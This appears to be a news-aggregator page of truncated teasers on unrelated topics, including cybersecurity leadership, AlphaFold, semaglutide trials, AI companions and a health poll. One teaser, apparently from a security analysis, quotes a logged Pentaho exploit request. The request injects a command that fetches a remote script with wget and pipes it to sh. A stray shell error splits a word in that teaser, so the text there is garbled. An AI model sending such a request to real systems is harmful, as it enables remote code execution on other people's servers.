Why the Exploit Window Has Collapsed and How CISOs Must Pivot to Survive For decades, cybersecurity was a game of time. We banked on the buffer between a vulnerability’s disclosure and its widespread exploitation. We relied on the forgiving internet, where human attackers needed days or weeks to weaponize code, giving us breathing room to…
Still, Verba’s team uses AlphaFold (both 2 and 3, because they have different strengths, he says) to run virtual versions of their experiments before running them in the lab. Using AlphaFold’s results, they can narrow down the focus of an experiment—or decide that it’s not worth doing. It can really save time, he says: “It…

Drug maker Novo Nordisk says semaglutide, the active ingredient for the weight loss jab Wegovy, does not slow Alzheimer’s – despite initial hopes that it might help against dementia. Researchers began two large trials involving more than 3,800 people after reports the medicine was having an impact in the real world. But the studies showed…
Eileen Guo writes: Even if you don’t have an AI friend yourself, you probably know someone who does. A recent study found that one of the top uses of generative AI is companionship: On platforms like Character.AI, Replika, or Meta AI, people can create personalized chatbots to pose as the ideal friend, romantic partner, parent,…
We continue to encounter high-profile vulnerabilities that relate to how URL mapping (or “aliases”) interac\|zsh:1: parse error near `&’ ts with URL-based access control. Last week, we wrote about the Oracle Identity Manager vulnerability. I noticed some scans for an older vulnerability with similar roots today: /pentaho/api/ldap/config/ldapTreeNodeChildren/require.js?url=%23%7BT(java.lang.Runtime).getRuntime().exec(‘wget%20-qO-%20http%3A%2F%2F[redacted]%2Frondo.pms.sh%7Csh’)%7D&mgrDn=a&pwd=a This request attempts to exploit a vulnerability…
As generative AI pushes the speed of software development, it is also enhancing the ability of digital attackers to carry out financially motivated or state-backed hacks. This means that security teams at tech companies have more code than ever to review while dealing with even more pressure from bad actors. On Monday, Amazon will publish…
KFF’s Latest Health Tracking Poll Finds That Half of the Public Correctly Say Undocumented Immigrants Are Not Eligible for ACA Coverage, But Many Are Uncertain Amid debates over the recent government shutdown, some Republican lawmakers claimed that Democrats’ efforts to reverse some provisions of H.R.1, the “One Big Beautiful Bill Act,” would allow undocumented immigrants…
